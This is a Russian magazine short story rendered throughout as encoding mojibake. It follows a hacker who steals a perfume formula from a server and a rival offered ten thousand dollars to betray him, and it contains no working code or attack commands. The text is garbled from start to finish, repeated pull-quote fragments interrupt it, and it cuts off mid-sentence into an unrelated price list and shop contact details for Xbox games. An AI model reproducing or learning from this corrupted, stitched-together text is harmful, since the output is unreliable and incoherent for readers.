- Íåò â æèçíè íè÷åãî òàêîãî, ÷åãî íåëüçÿ áûëî áû ñëîìàòü - âåäü òàê èíòå-
ðåñíî óçíàòü, ÷òî òàì âíóòðè, - ÷àñòî ãîâîðèë îí ñâîèì äðóçüÿì ïî êîìàíäå. È
íà âîïðîñ: «À êàê ëîìàòü, åñëè óæå ñëîìàíî?» - îòâå÷àë ñî çëîðàäíîé óñìåøêîé:

- Çíà÷èò, ìîæíî íå ëîìàòü. ÌÎÆÍÎ ÓÍÈ×ÒÎÆÈÒÜ.
È íàãëÿäíî äåìîíñòðèðîâàë ñâîè ïðèíöèïû, «äîáèâàÿ ëåæà÷åãî» - íà

ñïîð óáèâàÿ óæå, êàçàëîñü áû, áåçâîçâðàòíî ïîòåðÿííûå ðåñóðñû, âçëîìàí-
íûå îïûòíûìè ðóêàìè òàêèõ æå, êàê îí ñàì, õàêåðîâ.

«Ïóòü åñòü âñåãäà» - ýòîò ïðèíöèï ïðàêòè÷åñêè âñåãäà ïîìîãàë åìó â ðà-
áîòå. Îí íèêîãäà íå áðàëñÿ çà äåëî â ïåññèìèñòè÷åñêîì íàñòðîåíèè - çíàë,
÷òî íè÷åãî íå ïîëó÷èòñÿ. Èìåííî ïîýòîìó îí íå îòêàçûâàëñÿ îò ïðåäëîæåí-
íûõ çàäà÷ - ëèøü èçðåäêà ïî îäíîìó åìó èçâåñòíûì èäåéíûì ñîîáðàæåíèÿì.
Íî çàòî è ñîãëàøàëñÿ äîñòàòî÷íî íåïðåäñêàçóåìî - áóäòî áû óïîâàÿ íà ÷åðòà
è áîãà îäíîâðåìåííî.

Îäíîãî îí íå ëþáèë - èãðû «â òåìíóþ». Âðåìÿ îò âðåìåíè ëþäè, íàíèìàþ-
ùèå åãî, ëãàëè, ïðè÷åì ëãàëè ãðóáî, íå ñòàðàÿñü ñïðÿòàòü ëîæü çà àêêóðàòíûìè
ôîðìóëèðîâêàìè. Òàêèõ ëþäåé îí íàêàçûâàë ïðîïîðöèîíàëüíî îáúåìó ëæè.

È åùå íèêòî íå ïîòðåáîâàë åãî èçâèíåíèé, èáî îí áûë ïðàâ. Çàêàç÷èêè
ñîãëàøàëèñü ñ åãî ïîäõîäîì ê äåëó, íàõîäÿ åãî äåëîâûì è èìåþùèì ïðàâî
íà ñóùåñòâîâàíèå. Ñìèðíîâ âñåãäà äîñòàâàë òî, î ÷åì åãî ïðîñèëè, íî áðàë
ñòîëüêî, ñêîëüêî õîòåë.

Êîðî÷å, îí áûë åäâà ëè íå ñàìûì êðóòûì õàêåðîì ýòîãî áîëüøîãî áåçóì-
íîãî ãîðîäà. Îí áûë òàëàíòëèâ, óìåí, îí ãðàìîòíî ðèñêîâàë è çàëèõâàòñêè
òðàòèë çàðàáîòàííîå.

È êîãäà âìåñòî ôîðìóëû ïàðôþìà îí ñëèë äëÿ çàêàç÷èêà ñîâåðøåííî
äðóãóþ ðåöåïòóðó, åãî óìåíèÿ è òàëàíòû ïðîÿâèëèñü âî âñåé ñâîåé êðàñå. 

* * * * *
Ôèëüì îñòàâèë òÿãîñòíîå âïå÷àòëåíèå. Ïàâåë âûøåë íà ÿðêèé ñâåò óëè-

öû, ïðèùóðèëñÿ, çàêðûâàÿ ëèöî ëàäîíüþ îò áüþùèõ â ãëàçà ñîëíå÷íûõ ëó-
÷åé, è ñêâîçü çóáû òèõî âûðóãàëñÿ.

- Êàêîé êîøìàð! - ïîêà÷àë îí ãîëîâîé, íå îáðàùàÿ âíèìàíèÿ íà òî, ÷òî
îñòàíîâèëñÿ ïðàêòè÷åñêè íà ñàìîì âûõîäå èç êèíîòåàòðà; äåñÿòêè ëîêòåé è
êîëåí ïðîøëèñü ïî íåìó, íî îí íå çàìåòèë ýòîãî. - Ýòî íå ìîæåò áûòü ïðàâ-
äîé, ëþäè íà òàêîå íå ñïîñîáíû... »
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Âïåðâûå â æèçíè åìó
ïðèõîäèëîñü âçëàìûâàòü

ñåðâåð, ÷òîáû ïîõèòèòü
ôîðìóëó íîâûõ äóõîâ



Âïå÷àòëåíèå áûëî äåéñòâèòåëüíî óæàñíûì - êðîâü è ïåðåêîøåííûå ëèöà
áåçóìöåâ, âîïëè òîëïû, äüÿâîëüñêèå êðèêè, ëþáîâü è ïðåäàòåëüñòâî, ëîæü è
èñòèíà... Ïàâåë âñïîìíèë, ÷òî íèêîãäà íå áûëî òàê òèõî â çàëå, êàê ñåãîäíÿ.
Çðèòåëè áûëè ïîãëîùåíû ïðîèñõîäÿùèì íà ýêðàíå ïîëíîñòüþ è áåçâîçâðàò-
íî - Ïàâåë ïîíÿë ýòî, êîãäà çàæãëè ñâåò.

Íèêòî íå ñîáèðàëñÿ âñòàâàòü.
Íå ïîòîìó, ÷òî æäàëè ïðîäîëæåíèÿ èëè áûëè ðàçî÷àðîâàíû ôèíàëîì.

Ïðîñòî íè ó êîãî íå îñòàëîñü ñèë íà òî, ÷òîáû óõîäèòü. È òîëüêî ñàìûå íå-
òåðïåëèâûå ñóìåëè ïîäâèãíóòü çàë ê òîìó, ÷òîáû âñå ïîøëè ê âûõîäó.

Ëþäè øëè ìîë÷à, âûíîñÿ ñ ñîáîé ïóñòûå ñòàêàíû èç-ïîä êîëû è êóêóðó-
çû, òèõî îïóñêàÿ â óðíû ïèâíûå áóòûëêè; îíè áóäòî áû ïðèîáðåëè âî âðåìÿ
ïðîñìîòðà ôèëüìà íå÷òî òÿæåëîå, íåïîäúåìíîå è îäíîâðåìåííî ñòðÿõíóëè ñ
ïëå÷ ìðà÷íûå ïðèçðàêè ñîáñòâåííûõ ïðåäóáåæäåíèé è îøèáîê. Ïàâåë ïðî÷ó-
âñòâîâàë âñå ýòî íà ñîáñòâåííîé øêóðå.

Îí, êàê è âñå, ñ îïóùåííîé ãîëîâîé ïðîáèðàëñÿ ê âûõîäó, ïîòîì óâèäåë
íàä ãîëîâîé ñîëíöå è íàòêíóëñÿ íà íåãî, êàê íà íåâèäèìóþ ñòåíó. Ñîëíöå
âåðíóëî åìó ïðåæíþþ æàæäó æèçíè - íî îí ïîíèìàë, ÷òî óæå íèêîãäà íå áó-
äåò ïðåæíèì. Ôèëüì èçìåíèë åãî íàâñåãäà.

Èç òðàíñà âûâåë çâóê ñèðåíû. Îí ìåäëåííî, íåõîòÿ ïîñìîòðåë ïî
ñòîðîíàì è óâèäåë ïîäúåçæàþùóþ ê êèíîòåàòðó «Ñêîðóþ ïîìîùü». Ãäå-
òî çà ñïèíîé ðàçäàëèñü òîðîïëèâûå øàãè, êòî-òî ïðîñèë ðàññòóïèòüñÿ;
äâîå êðåïêèõ ìóæ÷èí íåñëè íà ðóêàõ óæå íåìîëîäóþ æåíùèíó ñ çàïðîêè-
íóòîé ãîëîâîé.

Ïî òîëïå, âûõîäÿùåé íà óëèöó, ïðîêàòèëñÿ øåïîò:
- Ïðÿìî â çàëå� Ñòàëî ïëîõî� Íàâåðíîå, èíôàðêò� Åùå áû, òàêîå êèíî�
Ïàâåë ñìîòðåë âñëåä îòúåçæàþùåé êàðåòå «Ñêîðîé» è ÷óâñòâîâàë, êàê

áåñèòñÿ â ãðóäè äóøà, ïûòàÿñü çàêðè÷àòü íà âñþ ïëîùàäü. Ýòà æåíùèíà, ó
êîòîðîé íå âûäåðæàëî ñåðäöå, îíà âçÿëà âåñü íåãàòèâ òîëïû, âñþ åå òåìíóþ
ìîùü, êîòîðîé áûë íàñûùåí çàë ïåðåä íà÷àëîì ôèëüìà. Îíà ïðîïóñòèëà âñå

ñêâîçü ñåáÿ, ÷óâñòâóÿ, êàê ñ êàæäûì âñêðèêîì, ñ êàæäîé ñëåçîé âûõîäèò èç
çðèòåëåé ïðîêëÿòèå ÷åëîâå÷åñêîãî ðîäà�

Ïàâåë ïîäíÿë ãëàçà íà àôèøó. Áîëüøîé æåëòûé ïðÿìîóãîëüíèê ñëåãêà
òðåïûõàëñÿ íà âåòðó, íî áóêâû áûëè ÷åòêî ðàçëè÷èìû äàæå èçäàëåêà.

«ÑÒÐÀÑÒÈ ÕÐÈÑÒÎÂÛ».
Îí õîòåë ÷òî-òî ñêàçàòü ñàìîìó ñåáå - íî ñèðåíà «Ñêîðîé» íå äàëà ýòî

ñäåëàòü. È òîãäà îí ïîøåë äîìîé. Åãî æäàëà ðàáîòà�

* * * * *
- Äà, ãîâîðèòå, - Ïàâåë ïðèæèìàë òðóáêó òåëåôîíà ê ïëå÷ó, íàêëîíèâ ãîëî-

âó; ðóêè ëåæàëè íà êëàâèàòóðå, ïàëüöû ïåðèîäè÷åñêè ïðûãàëè ïî êëàâèøàì. -
Êîìó? Âàì? Âàì íóæíà òàêàÿ åðóíäà? Íå ñìåøèòå ìåíÿ! Ïîäîæäèòå ñåêóíäó�

Îí áûñòðî ïîëîæèë òðóáêó íà ñòîë ðÿäîì ñ ñîáîé, âíèìàòåëüíî âñìîò-
ðåëñÿ â ýêðàí è ñæàë ãóáû â òîíêóþ ïîëîñêó.

- Ïàí èëè ïðîïàë, - øåïíóë îí ñåáå ïîä íîñ. - Ïðîðâåìñÿ�
Ïàëüöû ëåãëè íà êëàâèøè, ãëàçà íå îòðûâàëèñü îò ýêðàíà.
- Ñþäà� À òåïåðü âîò òàê� Âîçâðàùàåì çíà÷åíèå� Ïðèäóðêè, Ãîñïîäè

ïðîñòè�
Îí ñõâàòèë òðóáêó òåëåôîíà - òàì, íà äðóãîì êîíöå, ñîáåñåäíèê æäàë,

êîãäà î íåì âñïîìíÿò, áûñòðî ïðîèçíåñ: «Ïîäîæäèòå åùå, ÿ ñêîðî�», êëàö-
íóë åé ñíîâà îá ñòîë è õìûêíóë ñåáå ïîä íîñ:

- Ñêîëüêî ðàç ñëûøó: «ïðîâåðÿéòå ââîä íà çíà÷åíèå�». Õîòü áû êòî, íåò,
íó õîòü áû êòî ñëåäèë çà ýòèì� Ïðèäóðêè, òî÷íî!

Îí áûñòðî íàáðîñàë êàðàíäàøîì íåñêîëüêî êîìàíä íà ëèñòêå áóìàãè ðÿ-
äîì ñ ìûøêîé, ïðîáåæàë èõ ãëàçàìè, êèâíóë, ïîñëå ÷åãî áûñòðûì çàó÷åííûì
äâèæåíèåì âçÿë çàæèãàëêó, ïîäæåã óãîëîê ëèñòà è øâûðíóë â àëþìèíèåâûé
òàç ðÿäîì ñ ñîáîé. Ïëàìÿ â ñ÷èòàííûå ñåêóíäû ïðåâðàòèëî ëèñòîê â ãîðñòêó
ïåïëà - â åùå îäíó ïîâåðõ òàêèõ æå óøåäøèõ â íåáûòèå çàïèñîê.

À åùå ÷åðåç ñåêóíäó îí óæå ââîäèë êîìàíäû íà ñòðàíèöå àòàêóåìîãî ñåð-
âåðà. Ñèìâîëû âûñòðàèâàëèñü â êîíñòðóêöèþ, íåñóùóþ â ñåáå ìàëåíüêóþ êè-
áåðíåòè÷åñêóþ áîìáó.

- Òàê áóäåò ñ êàæäûì, - ãîâîðèë îí ìîíèòîðó, íàáèðàÿ ñòðîêè. - Ñ êàæ-
äûì óðîäîì, êîòîðûé äàðîì åñò ñâîé õëåá�

Àòàêà óäàëàñü. Ñåðâåð îòêëèêíóëñÿ íà åãî ïðåäëîæåíèå ïîðàáîòàòü «íà-
ëåâî», äàííûå, çàêàçàííûå íà ñåãîäíÿ, àêêóðàòíûì ïîòîêîì ñëèâàëèñü íà
íåñêîëüêî âèí÷åñòåðîâ.

È òóò îí âñïîìíèë î òåëåôîííîì ðàçãîâîðå. Ðåøèâ, ÷òî åãî óæå íèêòî íå
æäåò, îí ìåäëåííî ïîäíåñ òðóáêó ê óõó è óñëûøàë òàì íåñêîëüêî ðàçäðàæåí-
íîå ñîïåíèå.

- Äà, - ñêàçàë Ïàâåë êàê íè â ÷åì íå áûâàëî. - ß ñíîâà çäåñü.
- È ýòî çàìå÷àòåëüíî, - ðàçäàëñÿ â òðóáêå ãîëîñ. - Ïî÷åìó âû íàçâàëè òî,

î ÷åì ÿ ïðîøó âàñ, åðóíäîé?
Ïàâåë îòúåõàë â êðåñëå îò ñòîëà, ïîäíÿë ãëàçà ê ïîòîëêó è óäèâëåííî

ñïðîñèë â îòâåò:
- Âû õîòü ñàìè ïîíèìàåòå, î ÷åì ãîâîðèòå?
- Áåçóñëîâíî. Èíà÷å áû íå ïðîñèë âàñ îá óñëóãå.
×åëîâåê íà òîì êîíöå ïðîâîäà ÿâíî íå øóòèë, äà è ïðåäñòàâèëñÿ îí òà-

êèì îáðàçîì, ÷òî ñðàçó áûëî - îí íå øóòèò íè íà ãðàìì; ñóäÿ ïî ïàðîëþ, êî-
òîðûé îí íàçâàë, íàïðàâèëè åãî ñþäà òå ëþäè, êîòîðûì ìîæíî äîâåðÿòü.

- Õîðîøî� Åðóíäîé ÿ íàçâàë ýòî íåñëó÷àéíî - èáî âñå î÷åíü ïðîñòî. È
îäíîâðåìåííî î÷åíü ñëîæíî. Íàñòîëüêî ñëîæíî, ÷òî ÿ áû íå õîòåë äàæå ñëû-
øàòü î òîì, ÷òî âû ó ìåíÿ ïîïðîñèëè. ß áû äàæå õîòåë ïîâåðíóòü âðåìÿ
âñïÿòü è ñòåðåòü èç ñâîåé ãîëîâû óïîìèíàíèå îá ýòîì. Ñàìà ìûñëü î òîì,
÷òî ìåíÿ ïîïðîñèëè� Êîðî÷å, ó íàñ åùå åñòü øàíñ ðàññòàòüñÿ, è î÷åíü íåï-
ëîõîé øàíñ, ïîâåðüòå.

- Âû äóìàåòå, ÷òî ÿ èç ñïåöñëóæáû?
- ß âîîáùå íå äóìàþ, - äåðíóëñÿ Ïàâåë. - Íî âåðû ê âàì ïðàêòè÷åñêè íè-

êàêîé.
- Íî âû æå êàê-òî íàõîäèòå ñåáå ðàáîòó? - íå óíèìàëñÿ ñîáåñåäíèê. -

Êàê-òî æå âû äîâåðÿåòå ëþäÿì, íó õîòÿ áû èçðåäêà?!
- Èíòóèöèÿ, - ïîêà÷àë ãîëîâîé Ïàâåë. - Íå ñïîðþ, êîãäà-íèáóäü îíà ìåíÿ

ïîãóáèò - íî íå ñåé÷àñ. Âàì íóæíî ïðèâåñòè î÷åíü âåñêèå àðãóìåíòû - èíà÷å
ìû íèêîãäà íå äîãîâîðèìñÿ.

- Íî âû ïîäòâåðæäàåòå - â ïðèíöèïå - ôàêò òîãî, ÷òî âû ìîæåòå�
- Âû ÷òî, ïðèäóðîê? Ïðèäóðîê, òàêîé æå, êàê� - îí åäâà íå ðàñïèñàë ñî-

áåñåäíèêó âñå ïîäðîáíîñòè óìà òåõ ëþäåé, êîòîðûì îí äîáàâèë íåñêîëüêî
ìèíóò íàçàä ãîëîâíîé áîëè íà âñþ æèçíü. - Ëàäíî, îñòàâèì ýòî. Íè÷åãî ÿ íå
ïîäòâåðæäàþ. Íè÷åãî è íèêîãäà. Äî âñòðå÷è.

È îí ïîëîæèë òðóáêó. Ðàçãîâîð çàêîí÷èëñÿ.
Ðàçãîâîð íà äåñÿòü øòóê áàêñîâ. Èìåííî ñ öåíû íà÷àë åãî íåèçâåñòíûé

çàêàç÷èê ïî òåëåôîíó - è èìåííî ýòî îòïóãíóëî Ïàâëà. Íî ïî÷åìó-òî êàçà-
ëîñü, ÷òî îíè åùå âñòðåòÿòñÿ.

* * * * *
×åëîâåê, êîòîðûé ðàçãîâàðèâàë ñ Ïàâëîì, óñëûøàâ â òðóáêå ãóäêè, äîëãî

íå îïóñêàë åå â çàðÿäíóþ ïîäñòàâêó, ñëóøàÿ ìåðíûé âûñîêèé ñèãíàë. Íà ëè-
öå áûëî íàïèñàíî íå÷òî ñðåäíåå ìåæäó ðàçî÷àðîâàíèåì è íåòåðïåíèåì. Íå
õîòåëîñü âåðèòü â òî, ÷òî ïîïûòêà ñîðâàëàñü, è õîòåëîñü êàê ìîæíî ñêîðåå
ïîïðîáîâàòü ñíîâà. Íî òîðîïèòüñÿ áûëî íåëüçÿ.

Êîãäà òðóáêà âåðíóëàñü-òàêè íà ìåñòî, ïîñòàâëåííàÿ àêêóðàòíîé õîëåíîé
ðóêîé, ÷åëîâåê ïîäíÿëñÿ, ïîäîøåë ê ïðîòèâîïîëîæíîé ñòåíå ðîñêîøíîãî êà-
áèíåòà, îñòàíîâèëñÿ âîçëå îãðîìíîãî, â íåñêîëüêî ñîò ëèòðîâ àêâàðèóìà,
ïîäñâå÷åííîãî ìÿãêèì çîëîòèñòûì ñâåòîì, è ïðèíÿëñÿ ñëåäèòü âçãëÿäîì çà
èñêðÿùèìèñÿ ýêçîòè÷åñêèìè ðûáêàìè.

- Çðÿ îí äóìàåò, ÷òî, îòêàçàâøèñü, îí âûèãðàë. Çðÿ�
Ðûáêè åãî íå ñëûøàëè, áðîñàÿñü èç ñòîðîíû â ñòîðîíó ïåðåä åãî ëèöîì

â ïîèñêàõ êîðìà.
- Îí ïðîèãðàë óæå õîòÿ áû ïîòîìó, ÷òî ñëûøàë âñå òî, ÷òî ÿ õîòåë ñêà-

çàòü. Ñàì ôàêò íàøåãî ðàçãîâîðà - åãî êàïèòóëÿöèÿ. Ïðåäñòàâëÿþ, î ÷åì îí
äóìàåò ñåé÷àñ�

Ðóêà ïðîòÿíóëàñü ê êîðîáêå ñ êîðìîì. Ïðèãîðøíÿ äàôíèé ìÿãêî ëåãëà íà
âîäíóþ ïîâåðõíîñòü òî÷íî â êâàäðàòèê êîðìóøêè. Ðûáêè êèíóëèñü ê íåé, ðàñ-
òàëêèâàÿ äðóã äðóãà. Ïîâåðõíîñòü âîäû çàõîäèëà õîäóíîì, íåáîëüøèå è
áûñòðî ãàñíóùèå êîíöåíòðè÷åñêèå êðóãè îò êîðìóøêè çàêîëûõàëè âîäîðîñëè.

- Ãëàâíîå - âîâðåìÿ íàêîðìèòü, - ñòðÿõèâàÿ ñ ëàäîíåé ïûëü îò ñóõîãî
êîðìà, ïðîãîâîðèë ÷åëîâåê. - È âåäü ýòîò ïðèíöèï ðàáîòàåò� Áåçîòêàçíî.

Âåðíóâøèñü çà ñòîë, îí ðàñêðûë íîóòáóê, ïðîñìîòðåë ïî÷òó, îòâåòèë íà
ïàðó ïèñåì. Ðóêè àâòîìàòè÷åñêè íàæèìàëè íà êëàâèøè, ãëàçà ÷èòàëè ñòðîêè
ïèñåì, ìîçã ôîðìèðîâàë îòâåòû - íî îí áûë äàëåêî îòñþäà�

Âíåçàïíî îí îòñòàâèë â ñòîðîíó êîìïüþòåð. Îãðîìíàÿ ïëàçìåííàÿ ïà-
íåëü â ïîëñòåíû, íàïîìèíàþùàÿ îêíî, ðîâíî çàñâåòèëàñü.

- Ïîìíèòñÿ, ÿ íå âûíèìàë äèñê, - ñêàçàë ÷åëîâåê ñàì ñåáå. Îòêèíóâ íà
ïóëüòå ïàíåëü, êîòîðàÿ çàêðûâàëà êíîïêè óïðàâëåíèÿ äîìàøíèì êèíîòåàò-
ðîì, îí âêëþ÷èë äîïîëíèòåëüíûå êîëîíêè, à çàòåì âîñïðîèçâåäåíèå.

Ôèëüì ïðåîáðàçèë åãî. È êîãäà ñ ýêðàíà ïîëèëàñü â êîìíàòó ëàòèíñêàÿ
ðå÷ü Ïèëàòà, êîãäà íà ïëîùàäè íà íåóêëþæåì ÿçûêå ïðîïîâåäîâàë Êàèàôà,
ýòîò ÷åëîâåê ðàñòâîðèë âñå ñâîè çàáîòû â ñâîèõ ñîáñòâåííûõ ñëåçàõ.

Îí ïëàêàë êàê ðåáåíîê, ãëÿäÿ íà èñòåðçàííîå òåëî Õðèñòà íà êðåñòå; îí êó-
ñàë ãóáû, ñëóøàÿ áîæåñòâåííóþ ìóçûêó� Òèòðû îí íå ÷èòàë - îí çíàë èõ íàè-
çóñòü; êàæäîå ñëîâî íà ÿçûêå, ÷óæäîì ñîâðåìåííîñòè, áûëî äëÿ íåãî ðîäíûì.
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Ñèìâîëû âûñòðàèâàëèñü 
â êîíñòðóêöèþ, íåñóùóþ 

â ñåáå ìàëåíüêóþ
êèáåðíåòè÷åñêóþ áîìáó.



Íå îòðûâàÿñü îò ýêðàíà, îí âûòàùèë èç âíóòðåííåãî êàðìàíà ïèäæàêà
áëîêíîò è çàïèñàë òóäà äîðîãîé ÷åðíèëüíîé ðó÷êîé: «Õðàì Õðèñòà Ñïàñèòåëÿ
- çàâòðà â 15 ÷àñîâ».

«Father... Into your hands I commend my spirit...»
Ê êîíöó ôèëüìà ñëåçû êîí÷èëèñü. Îí êèíóë ïîä ÿçûê òàáëåòêó íèòðîãëè-

öåðèíà, âûêëþ÷èë òåëåâèçîð è, îòêèíóâ ãîëîâó íà ñïèíêó êðåñëà è âñëóøèâà-
ÿñü â òèõîå øèïåíèå êîëîíîê, äîâîëüíî áûñòðî çàñíóë.

Ýìîöèè áûëè âûñîñàíû èç íåãî âñå áåç îñòàòêà.

* * * * *

Äåñÿòü òûñÿ÷ äîëëàðîâ - ýòî ìíîãî. Òî åñòü äëÿ òàêîé óñëóãè, î êîòîðîé
åãî ïðîñèëè, ìíîãî. Íî âåäü òîæå - êàê ïîñìîòðåòü�

Ïàâåë ñèäåë, óñòàâèâøèñü íåâèäÿùèì âçãëÿäîì â òåëåâèçîð. Îí ñèäåë
òàê óæå ïî÷òè äâà ÷àñà. Ïðèçðàê äåíåã âèòàë ïåðåä íèì; îí ÷óâñòâîâàë èõ çà-
ïàõ, âèäåë èõ îòáëåñê. Ïðèõîäèëîñü ñìèðèòüñÿ, ÷òî ïðèäåòñÿ ñäåëàòü òî, î
÷åì åãî ïðîñèëè.

Âåðíóâøèñü çà êîìï, ïàðåíü ïðîøåëñÿ ïî íåñêîëüêèì êàíàëàì Äàëíåòà,
íà êîòîðûõ âðåìÿ îò âðåìåíè âñòðå÷àë Ñìèðíîâà ïîä íèêîì «Øàðê» - ïóñòî,
ïðî «Àêóëó» íèêòî íå ñëûøàë. Æàëü�

- Áóäåì äóìàòü, - ïðîèçíåñ Ïàâåë è ïðîøåëñÿ ïî êîìíàòå. Ãäå-òî æå
Ñìèðíîâ äîëæåí áûë ñåé÷àñ áûòü - âåäü ñîâñåì íåäàâíî, ïî ñëîâàì òîãî, ñ
êåì ðàçãîâàðèâàë Ïàâåë, ýòîò ïàðåíü ñîâåðøèë î÷åíü êðóòîé «ëîì» è ïðîïàë
ñ åãî ðåçóëüòàòàìè, êèíóâ ÷åëîâåêà íà õîðîøèå áàáêè. 

Âåðîÿòíîñòü îòñëåäèòü ïåðåìåùåíèå «Àêóëû» áûëà íåâåëèêà - íàäî áûëî
ìûñëèòü, êàê îí, ïîñòàâèòü ñåáÿ íà åãî ìåñòî. ×åðòîâñêè ñëîæíàÿ çàäà÷à. Òåì
áîëåå, êîãäà êðàåì ãëàçà âñå âðåìÿ âèäèøü ãäå-òî íà ãîðèçîíòå ïà÷êó áàêñîâ.

Îí ïûòàëñÿ âñïîìíèòü âñå, ÷òî çíàë î Ñìèðíîâå - âñå, ÷òî îí êîãäà-òî
ìîã ñëûøàòü î íåì îò òåõ, êòî èìåë ñ íèì ïðÿìûå êîíòàêòû. Òàêèõ ëþäåé áû-
ëî íå î÷åíü ìíîãî, ÷åëîâåê äåñÿòü, ìàêñèìóì, äâåíàäöàòü - íî è îíè íà êàíà-
ëàõ Äàëíåòà áûëè ðåäêîñòüþ, îòêðûâ ñâîè ñîáñòâåííûå çàùèùåííûå ëèíèè è
íå äîïóñêàÿ òóäà íèêîãî. Ìîæíî áûëî, êîíå÷íî, ñïðîñèòü â îòêðûòóþ - íî
ôàêò íàðâàòüñÿ íà ãðóáîñòü è çàñòàâèòü Ñìèðíîâà èñ÷åçíóòü îòïóãèâàë åãî.

È ïîòîì - îí äî ñèõ ïîð íå ìîã ïîíÿòü, çà÷åì åãî âñå-òàêè íàíÿëè íà ýòó
èäèîòñêóþ ðàáîòó, ÷åì æå òàê íàñîëèë Ñìèðíîâ è ÷òî çà äàííûå îí ïîõèòèë. Íå
âÿçàëñÿ â ãîëîâå îáðàç «Àêóëû» ñ âîðîâñòâîì è ïîäñòàâîé - íó íèêàê íå âÿçàëñÿ!

Âíåçàïíî íà îäíîì èç êàíàëîâ âñïëûëî èìÿ Ñìèðíîâà. Ïàâåë êèíóëñÿ òó-
äà, èìèòèðóÿ ñòàðóþ äðóæáó, íî åãî ãðóáî ïîñòàâèëè íà ìåñòî, ñïðîñèâ êîäî-
âîå ñëîâî.

Îòñòó÷àâ ÷òî-òî ãëóïîå, Ïàâåë îòêëþ÷èëñÿ. Âñïëûâàëè îñòàòêè ñîâåñòè,
ïûòàþùèåñÿ ïðîáèòü íà ïîâåðõíîñòè ñîçíàíèÿ ëåä òîëùèíîé â ïà÷êó äåíåã.

Âåäü åìó ïðåäëîæèëè ñäàòü Ñìèðíîâà. Çà äåñÿòü òûñÿ÷ äîëëàðîâ.

* * * * *
Ïîñëå óñïåøíîãî, çà ïàðó äíåé ïðîâåäåííîãî «ëîìà» Ñìèðíîâ, ïðèãîòî-

âèâøèñü ïðèíèìàòü äàííûå, ðàñêðûë î÷åðåäíîé áóêëåò îäíîé èç ôèðì, ðàñï-
ðîñòðàíÿþùèõ ïàðôþìåðèþ íà òåððèòîðèè Ðîññèè, ñìàõíóë íà äèâàí ìàëåíü-
êèé êâàäðàòèê öåëëîôàíà ñ çàïàÿííîé âíóòðè êàïëåé äóõîâ è ðàññìîòðåë ïðè-
âåòëèâî óëûáàþùóþñÿ ôèçèîíîìèþ íåèçâåñòíîé ôîòîìîäåëè. Ðåêëàìà âïå-
÷àòëèëà; îí àêêóðàòíî íîãòåì âñêðûë ïðîáíèê ñ äóõàìè, êàïíóë íà ïàëåö, ïîíþ-
õàë. Ïîíðàâèëîñü, íî íå î÷åíü - ÷òî-òî â ýòîì çàïàõå áûëî òåðïêîå, ðåçêîå.

- Ïîìÿã÷å áû, ïîñëàùå, - ñàì ñåáå ñêàçàë îí, ïåðèîäè÷åñêè ïîñìàòðèâàÿ
íà ýêðàí ìîíèòîðà. - À ëèíèÿ-òî õîðîøàÿ, äàæå î÷åíü, - ïîõâàëèë îí êà÷åñòâî
ñâÿçè, äîæäàëñÿ ïîÿâëåíèÿ îêîøêà ñ ïðèãëàøåíèåì ââåñòè ïàðîëü, çàðåãèñò-
ðèðîâàëñÿ â äàâíî óæå âçëîìàííîé ñèñòåìå è ðâàíóë â íóæíûé åìó êàòàëîã.

- Âîò ïðèìåðíî òàê ëîìàëè «Ñèåððó», - øåïòàë îí â òàêò ùåëêàíüþ êëà-
âèø; ïî÷åìó-òî âñïîìíèëîñü, êàê â Ñåòè ïîÿâèëèñü èñõîäíèêè «Half Life-2» è
äåìî-âåðñèè òðåòüåãî «Äóìà». Âîò òîëüêî æàëîñòè ê òåì, êîãî òàê ãðóáî è
íàãëî îáâîðîâàëè, îí íèêîãäà íå èñïûòûâàë - ìåíòàëèòåò íàöèè, æèâóùåé
öåëèêîì è ïîëíîñòüþ íà ïèðàòñêèõ äèñêàõ è íàðóøåíèÿõ çàêîíà îá àâòîðñêèõ
ïðàâàõ, íå äàâàë ýòîãî ñäåëàòü.

Êàòàëîã, â êîòîðîì îí íàøåë ÷òî-òî ïîõîæåå íà ôîðìóëû, áûë èçðÿäíûì
ïî îáúåìó è êîëè÷åñòâó âëîæåííîé èíôîðìàöèè. Ãëàçà ñêîëüçèëè ïî ñòðî-
êàì; ãóáû øåïòàëè íåïîíÿòíûå íàçâàíèÿ. Èíîãäà îí îòðûâàëñÿ îò ýêðàíà è
ñâåðÿë íàïèñàííîå òàì ñ ëèñòêîì áóìàãè, êîòîðûé äàë åìó çàêàç÷èê. Íóæíîãî
ñëîâîñî÷åòàíèÿ è êîìáèíàöèè öèôð ïîêà íå âñòðå÷àëîñü.

- Ìîæåò, ñêà÷àòü âñå? - ñïðîñèë Ñìèðíîâ ñàì ó ñåáÿ, ïîòîì âçãëÿíóë íà
ðàçìåð ïðåäïîëàãàåìîé òðàíçàêöèè, ïðèñâèñòíóë è ïðîäîëæèë ïðîñìàòðè-
âàòü êàòàëîã íà ñåðâåðå. Ñêîëüêî ðàç çà ñâîþ áóðíóþ õàêåðñêóþ æèçíü îí
ñêàíèðîâàë ãëàçàìè çàëåæè íåèçâåñòíîé èíôîðìàöèè, îò êîòîðîé âîçìîæíî,
çàâèñåëî ÷üå-òî áëàãîïîëó÷èå, à ìîæåò áûòü, è æèçíü? Ñêîëüêî ðàç îí äåëàë
òî, ÷òî äåëàåò ñåé÷àñ? Îí íå çàäóìûâàëñÿ íàä ýòèì. Êîãäà-òî îí ïûòàëñÿ çà-
ïèñûâàòü çà ñîáîé, ñîõðàíÿòü ðàçíûìè ñïîñîáàìè ðåçóëüòàòû ðàáîòû, ïîêà
íå ïîíÿë, ÷òî ïîäîáíûì îáðàçîì ïîäïèñûâàåò ñåáå ïðèãîâîð - íåçà÷åì áûëî

Counter-Strike Brute ForceDriver 3

$75.99*/69.99$79.99*/79.99 $45.99*/49.99

$83.99*/83.99

PAL $275.99  

NTSC $299.99

Fable

$83.99*

$79.99*/83.99

Doom 3

$79.99*/79.99

RalliSport
Challenge 2

* - öåíà íà àìåðèêàíñêóþ âåðñèþ èãðû (NTSC)

Sudeki

$89.99*/89.99

Halo 2 Limited
Collector's Edition 

Ninja Gaiden 

$79.99*/83.99 $69.99*/75.99

Project Gotham
Racing 2

$79.99*/65.99

Legacy of Kain:
Defiance 

$79.99*/83.99

The Chronicles of Riddick:
Escape From Butcher Bay 

(095) 928-6089 (095) 928-0360 (095) 928-3574

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 10.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! www.gamepost.ru
